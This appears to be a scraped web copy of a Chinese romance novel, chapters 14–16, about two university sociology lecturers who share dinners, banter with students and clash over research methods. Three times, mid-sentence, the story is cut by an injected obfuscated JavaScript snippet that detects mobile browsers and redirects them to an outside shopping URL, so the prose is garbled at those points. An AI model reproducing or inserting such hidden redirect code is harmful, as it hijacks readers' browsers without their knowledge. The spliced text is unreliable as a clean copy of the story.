客厅一角有个置物架,放着常用药品、杯子等物品。最下面还有个收纳箱,透过透明的箱体,贺鸣云看到里面放着个圆锥形的东西,像是一座奖杯。 “江老师,我可以看看你置物架下面的箱子吗?” “随便看。” 得到江无远的允许,贺鸣云立刻打开箱子。是的,里面放着奖杯,但他没想到会有这么多。 他拿起一个来看,奖杯上刻着: ***** “城市微光”项目 特等奖 拆迁小区口述史 江无远 感谢您为社区做出的卓越贡献 ***** 贺鸣云知道“城市微光”项目,这是人文社科领域的一个国际公益性质项目,发起人基本是著名的学者、企业家,专业度高,社会影响力强,业内口碑很好,每年还会举办一个盛大的颁奖典礼。 他知道江无远的视频号有两百多万粉丝,他也知道江无远会在视频里打广告赚钱,他还知道江无远会画很漂亮的妆、穿很漂亮的衣服上镜,迎合粉丝对“美女教授”的刻板印象。 ——具体怎么知道的你别问。 14. 下得厨房 贺鸣云知道江无远的自媒体有两百多万粉丝,他也知道江无远会在视频里打广告赚钱,他还知道江无远会画很漂亮的妆、穿很漂亮的衣服上镜,迎合粉丝对“美女教授”的刻板印象。 但他不知道江无远会请学生在家吃饭,不知道她会为了学生和教务处主任吵架,不知道她做了这么多社会实践项目。 如果只是为了吸粉靠自媒体赚钱,为什么从来不宣传这些成果?为什么不参与更有噱头的活动? 贺鸣云无意识地摩挲着奖杯上的名字。 奖杯上还有淡淡的薰衣草香气,大概是她放在置物箱里的干燥香包。他这时才后知后觉,这是他第一次受邀来女性家做客。 在社会学家眼里,“家”是一块丰饶的研究田野。 布尔迪厄认为,家的布置是主人品味和风格的体现,是社会阶层区隔的细微实践。 欧文·戈夫曼认为,家是精心管理的前台,呈现了主人的理想自我。 福柯认为,家庭中的待客礼仪,是社会权力对身体和空间规训的体现。 而格兰诺维特认为,家宴是维系强关系、拓展弱关系的重要情境。 然而此时,贺鸣云逻辑严密、理论丰富的大脑中,出现了罕见的混沌: 那他们之间,现在是什么关系? 江老师为什么要邀请他一起来家里吃饭? 更重要的是,为什么他毫不迟疑,马上接受了这个邀请? 难道…… 或许…… 莫非…… 厨房传来江无远中气十足的声音: “贺教授,你会片鱼吗?来帮帮我,我搞不过来了。” 原来如此! 贺鸣云松了口气,原来江老师是需要个片鱼的帮厨啊,早说嘛! ***** 贺鸣云系上围裙拿上刀,才反应过来他似乎过分积极了。 他上赶着帮江无远片鱼干嘛?这还是一大条江团,身上很多粘液,脏兮兮的。 江无远见他茫然无措,凑过来指导他:“贺教授,没见过这种鱼啊?这是江团,好吃的。” “……我见过,我知道。” 江无远没理他,接着说:“这种鱼粘液多,滑腻腻的。你要先用开水烫一下,烫过就不黏了,就好切了,切的时候小心刺哦。” “……我说我见过的,我知道。” 为了找补回来,贺鸣云卯足了劲儿,片鱼片得行云流水,无他,唯爷们儿要脸耳。 江无远深谙儿童心理学,积极表扬他:“贺教授,你刀工很好诶!平时也做饭?” “留学逼出来的,外面吃太贵了。回国以后就不怎么做了,一个人懒得弄,随便对付点。” 如她所料,贺鸣云八成平时都是一杯红酒搭配一篇文献,不沾一丝烟火气。 贺鸣云毫无必要地又来一句:“对了,说到留学,我是在斯坦福读的博。” 谁问你了? “哦……你挺厉害的。” “嗯。” 他“嗯”什么“嗯”?在拽什么啊? 依然没人问他,贺鸣云突然又说:“其实,我博士毕业论文写的题目就是关于社区拆迁的。” 江无远边切菜边说:“我知道,我看过。” 贺鸣云差点切到手:“你看过?真的?” “你那是什么眼神?你什么意思?我只是不爱写论文,不是不爱看论文。” 贺鸣云记忆力超群:“你之前说没看过我写的论文。” “就看过这一篇。没办法,谁让你写的刚好是我关心的课题,我拒绝不了这种诱惑。” 贺鸣云很满意,接着说:“我做社会流动和社会分层的研究很久了。” “?” “所以我想,你应该也会对我的另外几篇论文感兴趣。” 图穷而匕首见!原来还是在劝学。 江无远招架不住,毕竟他手里还有刀呢,只好说:“好的,下次你发我吧,我会认真拜读的。” “好。” 贺鸣云只说了一个字,心情却明显好了起来,动作都变快了。他处理好鱼,熟练地放了点盐和料酒腌制鱼片,又主动问江无远还需要做什么。 “冰箱里葱姜蒜拿出来,切下小料。” 贺鸣云手起刀落,江无远却突然想到什么,压低声音问他:“我让小钟一起来吃饭,你没有不自在吧?我看你们俩关系好像有点……紧张?” 贺鸣云手上的动作停了,看起来很茫然。 “这是你家,你是主人,”他提醒江无远,“邀请谁是你的自由,怎么会让我介意?” 这话说得,怎么好像哪里有点不对? 江无远试图解释:“那不是,本来我们该一起在301吃菜叶子的嘛,突然多了两个人跟我们一起吃,我需要征求你的意见呀。” 等等,这话说出来,怎么感觉更不对了? 贺鸣云倒是接受良好:“哦,没事。你不用担心,小钟跟我没有私人矛盾,她对所有人都那样。” 他想了想,又补充道:“她脾气有点怪,但是个好学生,论文也写得很好。” 江无远想笑,跟谁学的呢?上梁下梁都是怪脾气,有其师父必有其徒弟啊。 “那就好。小钟叫什么?是我们学校毕业的吗?” “钟若晚。不是,本科和研究生都是津港大学的,学术能力很强,研究生导师力荐过来的。” 江无远非常意外。 和考研不同,考博并没有统一的笔试。 学生需要先提交申请材料,考核小组对材料进行初审。这一关简单来说,就是卡学生的本硕学历、科研成果,大多数本硕学校一般的学生会被刷掉。 通过初审的学生会进入面试环节,不仅会经历考核小组的专业拷问,还很可能遭遇同场关系户的降维打击。 冰洋大学是国内顶尖大学,社会学专业是全国第一,本校出身的学生都竞争激烈,就算有老师力荐,双非大学出身的学生99.99%都是炮灰,初审就会被刷掉。 对很多导师来说,也许这无关学历歧视,单纯是为了快速筛选出最好用的学生进行培养。 但依然,江无远为那些渴望继续深造的年轻人感到伤心,他们落败于简单粗暴的单一标准,却总是沮丧地在自己身上找原因。 钟若晚对贺鸣云的态度极其一般,江无远本以为,她是和贺鸣云一样的天之骄子,所以恃才傲物。没想到钟若晚是那0.01%,本硕出身双非大学、而被最牛导师录取的例外。 更何况这位最牛导师可是贺鸣云,贺鸣云诶?传说批论文能止小儿啼哭的恶魔导师诶? 贺鸣云好心提醒:“江老师,你的嘴还张着。” “……不好意思,我在想事情,失态了,”江无远闭上嘴,开始炒配菜,“我就是有点意外,你会招津港大学的学生。” “我看过她的申请材料,研究计划是同批里写得最好最认真的,读研时候的成果也不错,”贺鸣云顿了顿,补充道,“而且小钟很要强,不服输,能吃苦,适合搞学术。” 江无远回忆了下钟若晚在教务处的表现。那确实是挺要强、挺不服输的,跟某头倔驴如出一辙。 “当时考核小组也同意了吗?” 贺鸣云平淡作答:“几个老师都收过我送的二作,拗不过我的。组长还是马院长,我选学生,他不会说什么。” “可是学校不会给你压力吗?冰洋大学很少收双非学生吧?” 贺鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093564|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云转过脸看着江无远。 “江老师,你在乎学生的本硕毕业院校吗?” “不,不管是求学还是求职,我都非常反对一考定终身。” 贺鸣云点点头:“我也不在乎。” 江无远心领神会,贺鸣云没有正面回答她的问题,那就以为着他确实受到校方的压力了。他虽然要求严格,但名声在外,带的学生个个成果突出,想必有不少关系户想走后门进他的组。 江无远夹了块凉拌牛肉给他吃,贺鸣云不明所以,但下意识张嘴吃了。 “……这是做什么?” “奖励你不戴有色眼镜看学生。” “?是我应该做的。” 贺鸣云还是不明所以,茫然地咽了口口水。 这个牛肉好咸,害得他一直流口水。 ***** 等他恢复镇定、回过神来,江无远正往锅里倒酸汤。 人在娇羞的时候话就会特别多,贺鸣云没事找事,问:“这是什么?” “我家的特产,酸汤,我爸前两天刚熬好寄过来的。” “哦。那边上那瓶黄的又是什么?” “木姜油,也是我家那边的特产。” “哦。” 江无远被他一问,想起来了:“哎,你真的能吃辣吗?不能吃的话,我给你弄个清淡点的菜。” 贺鸣云轻描淡写:“可以的。我上大学之后就没回广东了,口味早就变了。” 江无远略感意外,在她的脑补里,贺鸣云应该是全村的骄傲,回村有唢呐开道、红毯铺路、金粉纷飞那种。 他的照片应该在老家的两个地方永流传:学校的光荣榜上,媒婆和姑娘家的微信对话中。 “你从大学开始,寒暑假就都不回家了吗?” “嗯,”贺鸣云面色平静如水,“当当家教,写写论文,假期就过去了。” “那你的学费和生活费……” “嗯,我自己攒的。” 天啊,人长得帅,脑子聪明学习好,还勤工俭学、自强不息,一点儿不让家里操心。贺鸣云的爸妈也太幸福了,天降灵珠啊这是。 江无远由衷感叹:“贺教授,你怎么这么天衣无缝啊?以后出道了,对家都找不到黑料的。” 贺鸣云严肃澄清:“我不出道,不喜欢娱乐圈。” “……好的。” 在贺鸣云朴素的社交观里,说完我的,就该说你的了。 于是他说:“我刚刚在客厅看到你的奖杯了,还有‘城市微光’的特等奖。你都乱塞在一起,藏在收纳箱里面。” 江无远专心烹饪,心不在焉的。 “嗯?哦,是,这几年我组织的乱七八糟的社会实践活动。这房子太小了,奖杯没地方放,我就随便扔一块儿了。” 贺鸣云以为她在谦虚,肯定道:“不是乱七八糟的实践活动,是很有意义的社会实践。把专业的学术研究下沉到社会实践中,你很厉害。” 豆腐老了,没做出想做的效果,江无远有点发愁,嘴上心不在焉地敷衍:“对呀,我是挺厉害的。是你们习惯了卷学术发表这套打法,瞧不起我这种走另外一条路的人嘛。” 贺鸣云没有否认,他之前确实不大瞧得上江无远。 他斟酌了一下措辞,说:“那是……我之前还不了解你。” “你现在也不了解我啊。” 贺鸣云震撼首发:“我正在。” 江无远抬头朝他笑了下,贺鸣云不好意思地摸了摸鼻子。 “别偷懒,冰箱里香菜给我。从我的饮食习惯开始了解吧,我特别爱吃香菜。” 贺鸣云眉头一皱:“我不吃香菜,有股怪味。” “你怎么事儿这么多啊?” 15. 乙女游戏 江无远把胡辣子蘸水调好,满意地拍了贺鸣云后背一掌: “齐活儿!墩子,上菜!” 贺鸣云一边端酸汤鱼出去,一边窝囊地嘟囔:“上菜就上菜,干嘛动手动脚的……” 江无远跟在后面,朝书房喊:“两小只,快出来吃饭了!” 贺鸣云有些恍惚,在饭菜的热气缭绕中,他隐约有一种老婆孩子热炕头的充实感。这个念头把他吓了一大跳,赶紧坐下,喝了口大麦茶驱邪。 钟若晚和肖飞飞一前一后走过来,钟若晚明显心情不错,调侃他:“哟,导儿,你还先坐下了,也不帮着添饭,真是宾至如归哈。” 肖飞飞也跟着开玩笑:“还坐的主人位,配得感极强。” 贺鸣云窝囊地站起来,说:“江老师让我坐这儿的……这鱼是我片的,菜也都是我端出来的……” 江无远在客厅另一头打电话,没人帮他作证,贺鸣云又窝囊地坐下了。 坐的还是主人位。 江无远挂了电话坐回桌边,招呼他们:“吃吧,怎么还在等我,快趁热吃。” 贺鸣云没动,看着她,意思是“你跟谁打电话呢”。 一个敢(用眼神)问,一个敢答。 江无远也自然地向他报备:“是我助教。你还记得我助教吧,上次跟我们一起喝咖啡那个学生?” 贺鸣云不但记得,还对她印象不错,小姑娘稳重又沉着,还很识时务,帮着劝江无远和他合作来着。 “记得,方溯。” “对,她开学研二,暑假也留校,在帮导师干活。我打电话问她要不要过来一起吃点。” 肖飞飞和方溯关系最好,一听坐直了:“她来吗?” “说还等着导师开组会,不来了。” 肖飞飞对方溯的导师颇有微词:“老东西又在压榨劳动力,完全是个神经病,不是晚上就是周末开会,还每次都让学生等他半天。” 贺鸣云问:“她导师是谁?” “我们学院的徐宇。” 贺鸣云和江无远交换了一个眼神。圈子就这么大,谁对学生好、谁对学生差,老师们心里其实都有数。 江无远无奈地说:“没办法,冰洋大学厉害的老师很多,但对学生好的导师就很少了。” 江无远去年试着帮方溯换导师,不但没成功,还得罪了徐宇。被徐宇一顿阴阳怪气,说什么“你这么关心别人的研究生,怎么自己不去带研究生”。 可恶,精准打中江无远的七寸,气得她当场立下目标,三十岁一定要评上副教授,然后拿到带研究生的资格。 肖飞飞对此事也略有耳闻,见江无远表情不太好,故意活跃气氛问钟若晚:“学姐,你导师怎么样啊?” 钟若晚平静作答:“还算是个人。” 还算是个人的贺鸣云没什么反应,淡定夹菜。 江无远果然被逗笑了,顺着话头问她:“小钟同学,你是研究哪个方向的?” 钟若晚答:“性别社会学。我最近在写的论文是关于虚拟亲密关系的。研究年轻女性和AI、乙女游戏的男性角色建立亲密关系的现象。” 肖飞飞激动得拍了下桌子:“学姐,你也玩乙女游戏!你玩什么?推谁?” 钟若晚淡定回答:“国内的恋与深空、世界之外、未定事件簿,国外的薄樱鬼、茉莉花、黄昏魔女我都玩。至于推谁嘛,我都是乙女游戏里的女主了,当然是allin,晋江不能1vN,乙女游戏还不能1vN吗?” 肖飞飞崇拜地看着她:“学姐,你是我的偶像!从今天起我也要1vN,做赛博坏女人,享齐人之福!” 贺鸣云悄悄问江无远:“她们在说什么?什么是1vN?什么是晋江?” 他的表情很恳切,江无远推测,他是担心这是个什么新潮的学术专用词,害怕自己落伍了。 江无远无从说起,敷衍道:“……这个跟学术没什么关系,你还是别好奇了。我倒是好奇,你不是研究性别社会学的,怎么学生在写这个?” 导师一般都会选择和自己研究方向契合的学生,既方便指导学生,又方便让学生当免费劳动力帮着做课题。良心再坏点,还可以抢学生的论文一作,稳赚不赔。 江无远很奇怪,贺鸣云是研究社会流动和分层的,怎么会指导研究内容和他八杆子打不着的钟若晚? 贺鸣云语气平常,好像这是很正常的事。“嗯,虽然不是我的主要研究领域,但我也有能力指导的。” 他又开始孔雀开屏,着重强调:“小钟已经发了三篇C刊了。我很厉害。” “……那不应该是小钟厉害吗?” 贺鸣云加重语气:“我指导的。” “是是,指导老师你太厉害了。” 江无远敷衍地拍了两下巴掌,贺鸣云又看了眼肖飞飞。 肖飞飞愣了下:“我也要一起吗?” 江无远在桌下踹了她一脚,肖飞飞闭上嘴,跟着一起鼓掌。 贺鸣云很满意,高兴得又添了一碗饭。 ***** 他们又聊了会儿钟若晚的研究,肖飞飞发现新大陆:“学姐,你研究的内容好像都和女性有关诶。” “嗯,我的研究没男人什么事,”钟若晚看了眼贺鸣云,“导儿,这句话不包括你啊。” 贺鸣云显然已经习惯了,专心吃菜,根本懒得搭理他的便宜学生。 钟若晚又来一句:“因为我恨男的。” 江无远被刺梨汁呛到,贺鸣云还在淡定地挑鱼刺。 钟若晚贴心地帮她拍背:“没事,江老师,我不恨女的。” “那你……”江无远看了看她,又看了看贺鸣云,“那你们……” 贺鸣云平静表示:“女学生恨男老师,比爱男老师好,我也不想自找麻烦。” 钟若晚翻了个白眼,跟江无远说:“看吧,男的就这么自恋,谁说女学生就会爱上男导师了?我们恨男导师还来不及呢,尸位素餐的老登们。” 肖飞飞神来一笔补了句:“但是,贺教授长得还挺帅的,感觉会有女学生追。” 贺鸣云被大麦茶呛到,剧烈地咳嗽起来。 在三个女性严厉的注视下,他的脸憋得越来越红。 钟若晚心冷似铁,说:“我恨男的,所以我不会帮你拍背的。” 肖飞飞隔岸观火,说:“江老师,你隔得近,要不你给他拍拍背?” 江无远伸手准备给他拍拍,谁知道贺鸣云发什么疯,突然起立疾奔,离她们远远的,缩到客厅角落独自咳嗽。 江无远手还在半空中,没反应过来:“……你导师怎么了?” 钟若晚淡定道:“觉得丢脸吧,别管他,我们接着吃。” 好不容易喘上气来,贺鸣云徐徐蹭回桌边,向江无远澄清:“我不是,我没有,没有女学生追我。” “好的,快喝口水。” 贺鸣云脸又涨红了:“真的没有!我不干这种违背师德的事。” 江无远把筷子塞他手里:“行行行,本庭宣布你无罪释放,你快接着吃吧。” ***** 吃饱喝足,江无远突然想起正事,说:“飞飞,过两天我们要去那个学妹家拜访下,向她父母道歉。” 肖飞飞的脸皱成一团:“我不想去……跟学妹说说话就算了,还要见他家长啊?我怕我被封建家长浸猪笼。” “哪有那么吓人,我也在的。这种事一定要好好善后,不要给别人留反咬你一口的机会。” “好吧……麻烦你了,谢谢老师,”肖飞飞越想越气,“哪有这种家长啊?上大学了还不准孩子接触生理卫生知识,毕业了又要孩子马上结婚生子,哦,孩子是跟老公一对视、电光火石间从石头里蹦出来的啊?神经病。” 钟若晚好奇道:“她发的朋友圈是什么?” “她早删了,大概就是说那个产品超级静音,宣传一下嘛。” 钟若晚很敏锐:“细说怎么宣传的。” “哎呀,为了宣传效果,我大概、也许、可能加了点幽默露骨的宣传语,‘一个人的PDA’‘当室友沉睡时’之类的。” 贺鸣云又开始求知若渴了,小声问江无远:“PDA是什么?” 江无远知道PDA是publicdisplayofaffection的缩写,在年轻人的语境下,这个display显然远超拥抱、亲吻的程度,多半是指“沉睡的丈夫”那种类型的恶趣味。 贺鸣云才三十四岁,不宜了解此类知识。 江无远说:“PersonalDigitalAssistant,掌上电脑。” 贺鸣云陷入沉思。 钟若晚和肖飞飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093565|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一句我一句,顺着话头又聊起了情趣用品。 钟若晚:“你说的新品还有些什么?” 肖飞飞:“是本地的一个小品牌,你肯定没听过,但我很看好。这是个做医疗器械的公司新设的子公司,安全性过关,销售渠道有基础。” 钟若晚:“关键是使用体验如何?” 肖飞飞:“我周末要去厂子,下周给你拿两个,你帮忙测评下,怎么样?” 钟若晚:“当然好啊,你不知道读博压力有多大,我急需!” 贺鸣云虽不封建,但属实也没有这么外向。 他尴尬地摸摸鼻子:“我……要不回避一下?我去沙发坐会儿。” 江无远起了逗他的心思,不让他走。 “别啊,你坐下。人家孩子正经聊创业呢,你走什么走。” 钟若晚也呛他:“就是,导儿,装什么正经,我看你刚刚在教务处振振有词的,研究得可深入了。” 贺鸣云一本正经地澄清:“我那是为了帮江老师瞎编的,一致对外,没办法。” 肖飞飞敏锐指出:“‘一致对外’是这么用的吗?那你俩就属于‘内’咯?” 完蛋,一不小心引火烧身。 江无远指了指沙发:“贺教授,你去沙发坐会儿,喝茶,快点走,别偷听我们女生聊天。” ***** 他们边吃边聊,吃完又被江无远按着喝祛火茶,一路吃到了快九点。 临走了,江无远塞给贺鸣云几盒小菜。 “我家里做的,有脆哨和泡菜,你吃蛋炒饭的时候放点,特别香。” 他好像说的是他不怎么做饭,没说他要弄蛋炒饭吃啊? 但贺鸣云的情商忽然上线,他意识到:这个泡菜是单送我一个人的,别的男老师都没有呢。 于是他没有澄清,乖乖接了过来,小心翼翼地拎在手上,并决定明天炒个蛋炒饭。 江无远又叮嘱他:“贺教授,麻烦你把飞飞送上车,把小钟送到宿舍楼下面哦。暑假了,学校里人少,你们俩也注意安全。” “好,知道。” 贺鸣云先把钟若晚送回宿舍,又陪着肖飞飞往停车场走。 正合肖飞飞心意,她早就想狠狠八卦了。 “贺教授,您还是江老师第一个邀请到家吃饭的老师呢。” “……是吗。” “是呀!” 面对肖飞飞的灼灼眼神,贺鸣云不知为何,有点心虚。于是一本正经道:“我看到你们江老师做了很多社会实践项目,拿了很多奖。” 肖飞飞到底是年轻,玩不过老登,马上被带偏了,热情介绍:“是呀!那个口述史的项目,我也跟着一起做的,当时省里领导都点名表扬了呢。” 她又忿忿不平道:“可是这些项目居然不能加分,小溯说学校考核老师的学术成果,只给C刊论文和省级以上的基金项目加分,一点都不公平。” “不公平吗?” “当然不公平啦!发论文是了不起,可是有多少人看呢?每年发出来的论文是多,可是有多少写得好的呢?但我们江老师做的项目,是实打实能帮助到人的。” 贺鸣云见这小鬼在教务处都很淡定,现在却为了江无远急起来了,不禁笑了笑:“你说得对。” “不过现在没事了,我听小溯说,您和江老师合作了,利益互换。您会带江老师写论文,带她评上副教授的,对吧?” 贺鸣云下意识有点不高兴,纠正道:“不是利益互换,是互相帮助。” 肖飞飞斜了他一眼。那不就是利益互换吗? 贺教授干嘛呢,表现得像: 【跟女主联姻→ 被人家说你俩只是商业联姻,没有感情的嘛→ 气得吹胡子瞪眼→ 演了一出“爱你在心口难开”“吃每一个你身边的男性特别是年下实习生的醋”的苦情大戏→ 女主却毫不知情,以为他是根木头】 的短剧男主角,矫情兮兮的。 贺鸣云坚持:“是互相帮助,江老师今天帮我改了一天的课件,我们中午还一起吃的饭。” 谁问你了? 贺鸣云还在嘟囔:“而且江老师还帮我绑学校的免费账户……” 肖飞飞站住了。 等等,他不会真喜欢上江老师了吧? 16. 数字游戏 自从那天在江无远家吃了顿饭,贺鸣云就像吃饱了猪饲料、打足了鸡血,卯足了劲儿推进合作。 论文还没写出个名堂,他又兴致勃勃,邀请江无远一起做课题。 这是一个横向课题,是某知名企业委托冰洋大学进行研究的。和传统的国家级、部委级、省部级项目不同,横向课题一般由企业提出需求,目的是解决企业遇到的具体问题,会更注重实践应用。比如某大厂就曾委托冰洋大学法学院对反垄断法进行研究。 江无远兴趣缺缺:“贺教授,我以为你随便一申就是个国家社会科学基金项目呢。” 顺带一提,国家社会科学基金项目考核加五分。 贺鸣云兴致高多了,解释说:“这个课题是马院长拿下的,确实不是国家级基金项目,但委托方在业内的话语权很大,这个课题的含金量不低,经费也很充裕。” 江无远被贺鸣云催着写论文,每天都睡眠不足,脑子昏昏沉沉,故一颗玲珑心暂时蒙了尘,没能分析出马院长此举暗含的撮合之意。 她毫不掩饰自己的不感兴趣:“哦。” 贺鸣云指出:“这个课题考核也能加一点五分,也算老师的学术成果。” “贺教授,又要写论文,又要备课,又要录视频,还要做课题啊?你真的是高精力人群,你不当教授谁当教授。我不是教授,我搞不过来。” “我是副教授,”贺鸣云语气平淡,却不容拒绝,“这个题目你也感兴趣的,研究大学生焦虑感的。还有个名额,可以带个你的学生。” 江无远还是没反应过来。 贺鸣云提醒她:“可以带个你的学生一起做课题,写在学生的履历上。上次在你家,你说方溯和导师关系一般,做不了什么好课题。” 他还记挂着这件事啊? 江无远警惕地看了贺鸣云一眼,无事献殷勤,他该不会是—— 对方溯有意思吧!? 完全猜错了方向的江老师严肃提醒贺教授:“贺教授,你记不记得,上次在我家吃饭,你说女学生恨男老师,比爱男老师好。” 贺鸣云一脸正气:“当然。” “你是真心的?” “当然。” 江无远继续试探:“小溯好像不喜欢年纪大的……不喜欢年上男。” 贺鸣云点头:“我知道,小钟说过,现在的年轻女孩都喜欢年下的奶狗。” 两个人都诡异地沉默了下。 贺鸣云咳了两声,问:“那你呢?你也不喜欢年上男?” 江无远不疑有他,认为贺鸣云是在反向考察她的师风师德,昂首挺胸自豪回答:“不!我对年下不感兴趣,我就喜欢比我大的。” 贺鸣云松了口气:“哦哦,那就好,那就好。” 江无远也松了口气:“嗯嗯,大家好才是真的好。” 他俩莫名其妙大和解了,江无远也莫名其妙,带上方溯,成了课题组的成员。 ***** 方溯觉得自己非常多余,但看江老师和贺教授仿佛在演新婚日记,看得她苹果肌饱满,不舍得避嫌。 这是课题组成员——贺鸣云,江无远,以及方溯本人——的第一次组内讨论。 贺教授约她们在他的办公室讨论,江老师一进门,熟门熟路,挨着贺教授坐下(方溯个人认为,两把椅子离得过于近了),并自然地接过咖啡——贺教授在休息室咖啡机现打的。 江老师喝了一口,问:“咦?冰箱里有牛奶了?” 贺教授面色微红,答:“我在学校小超市买的。” 没人问他,他又画蛇添足了一句:“顺路。反正大家都要喝的。” 大家?什么大家? 方溯看了眼自己面前的热美式,里面一滴牛奶都没有,感情贺教授买牛奶来,就只给江老师喝的啊? 江老师丝毫没意识到贺教授的差别对待,一边喝咖啡,一边请贺教授解释课题背景。 贺教授也是前所未有的耐心:“课题的委托方是春晴集团,春晴集团早年做心理咨询和职业培训起家,这两年开始拓展AI咨询师业务板块。” 哦,春晴集团,方溯也知道的。 春晴去年开发了一款“小春陪你聊”app,据说获得了近百位知名心理咨询师、心理学专家的授权,学习了大量心理学专业知识和心理咨询笔记。用户可以在线向小春倾诉烦恼,小春会提供专业的心理咨询意见。 今年“小春陪你聊”app在短剧的植入广告大火,吸引了大批年轻用户。方溯也下载了app,小春天天帮她骂二百五导师,情绪价值拉满。 贺教授接着解释:“为了更好地服务大学生用户群体,春晴集团这次委托我们对大学生焦虑感进行研究。这是我根据之前的碰头会整理的委托方需求。” 他不仅整理了委托方需求,还做了份细致的分工表,分发给她们看。他写文献综述,他和江无远一起写研究设计,方溯负责资料收集、数据处理。 方溯这辈子没遇到过这么老黄牛的导师,欲语泪先流。 江老师也问他:“文献综述都你写吗?工作量会不会太大?” 贺教授回答得理所当然:“不大,交给我就行。” 江老师听了很高兴:“那就辛苦你了,贺教授,我也会认真琢磨研究方法的。” 方溯不禁感慨,帅哥改变人生啊,连江老师都精神抖擞地做研究、搞课题了。她以前可是接连婉拒了好几个老教授的合作邀请。 甚至江老师最近忙着跟贺鸣云合作,视频号都一个礼拜没更新了。方溯还拿不定主意,要不要提醒她更新一期固固粉。 想当年江老师刚开始做自媒体的时候,为了争取更多曝光机会,都是熬夜日更视频。当时方溯和一众学生悄悄当自来水,帮她一键三连,还悄悄给她买了点粉。 真是今非昔比啊。江老师不仅在自媒体赛道丰收,也准备在传统学界丰收了。 或许不仅要事业丰收,爱情也要丰收了。 他俩什么时候能好上啊? ***** 方溯悄悄嗑了三天,今天好不容易线下嗑CP,她都准备偷拍两张发给肖飞飞一起品了,没想到贺教授突然失了智,错穿“严厉的父亲”马甲,亲手斩断了姻缘线。 这是课题组成员的第二次组内讨论。 开始都还好好的。贺教授设计了张测评表,包括父母期望、同辈竞争、经济压力、学业负担、未来不确定性等十四个测评维度。 他准备对冰洋大学各年级、各专业的学生进行问卷调查,调查他们的焦虑程度和焦虑成因。初步计划发放三千份问卷,后续再拓展到大学城其他学校。 贺教授又说,回收问卷后,他计划用结构方程模型分析大学生焦虑感与家庭背景、成绩排名、职业前景等变量的相关性。 江老师表示充分肯定后,说她计划进行深度质性研究,招募三十名不同背景的学生,进行跟踪访谈,并侧重分析他们社交媒体上的情绪表达。 江老师解释说,贺教授进行定量分析后,质性研究正好可以作为补充。访谈能够捕捉到大学生焦虑的复杂性和流动性,记录下数据背后的真实故事。 好了,到这里就开始不好了。 方溯的屁股当然是歪向江无远的,为避免误导读者,以下均为原汁原味原话直出: 贺鸣云:“这种研究方法不够科学,每个受访者都会说谎。” 江无远:“你的量表就不会说谎?” 贺鸣云:“样本足够大、统计模型足够精准的话,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093566|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我能得出比你更准确的结论。江老师,我理解你的想法,但我们需要有代表性、可推广、能揭示宏观规律的结论。” 江无远:“贺教授,我也理解你的顾虑,但我想做的并不会取代你的量表,而是互为补充。” 贺鸣云:“我明白,但是我们的时间很紧,我觉得这么做的性价比很低,你不如和我一起做定量分析。” 江无远:“我们做的不是传统项目,委托方是做聊天咨询app的,当然也会希望我们对代表性个例进行深度研究,这对企业来说是非常有价值的信息。” 面对贺鸣云怀疑的眼神,江无远继续解释:“我们学院做过很多横向课题,我帮媒体评估过新媒体传播效果,也帮文创公司做过品牌形象诊断,我知道委托方想要什么。” 贺鸣云:“你做过很多横向课题,就应该知道,委托方对时效性的要求很高,我们没有那么多时间。” 江无远:“我以前都是这么做的,没觉得浪费时间了。” 贺鸣云:“也许是因为和你合作的同事帮你兜底了。” 江无远沉默了一会儿。 方溯个人认为,争执就是从这里开始升级的。 贺鸣云接着说:“横向课题的含金量低,是有原因的。委托方并不专业,他们不是受过训练的学者,他们不知道自己需要什么。但我们是专业的,不管是什么级别、什么类型的课题,我们都应该做高标准、严谨的研究。” 江无远:“这话是什么意思?你的意思是,我不专业,我提的研究方法低标准、不严谨?” 贺鸣云没有正面回答。 他斟酌了一下措辞,说:“焦虑是社会结构的产物。我们需要排除个人情绪,用可量化、可重复的数据,找到系统性施加压力的社会变量。没有宏观数据,任何结论都是个例,而个例是不严谨的。” 江无远:“你错了,焦虑不是被结构决定的数据,而是个体在具体情境中的真实体验。你真的觉得,宏观数据就能呈现个体的焦虑感受?” 贺鸣云:“而你想做的是臆测。三十个样本无法达到统计显著性,无论你的结论多么动人,都回答不了最基本的问题:这现象有多普遍?我们是在做研究,不是在做心理咨询。” 江无远:“那你的问卷呢?‘请用1-10分描述你对未来择业的焦虑程度。’贺教授,把人的感受简化成分数,不是严谨,是傲慢和冷漠。你的数据再精确,也回答不了这个研究背后更重要的问题:怎么帮大学生缓解焦虑,让他们更轻松、更快乐?” 贺鸣云:“科学的进步,就起始于把含糊不清的东西变为可测量的。如果任由研究者进行主观阐释,客观在哪里?” 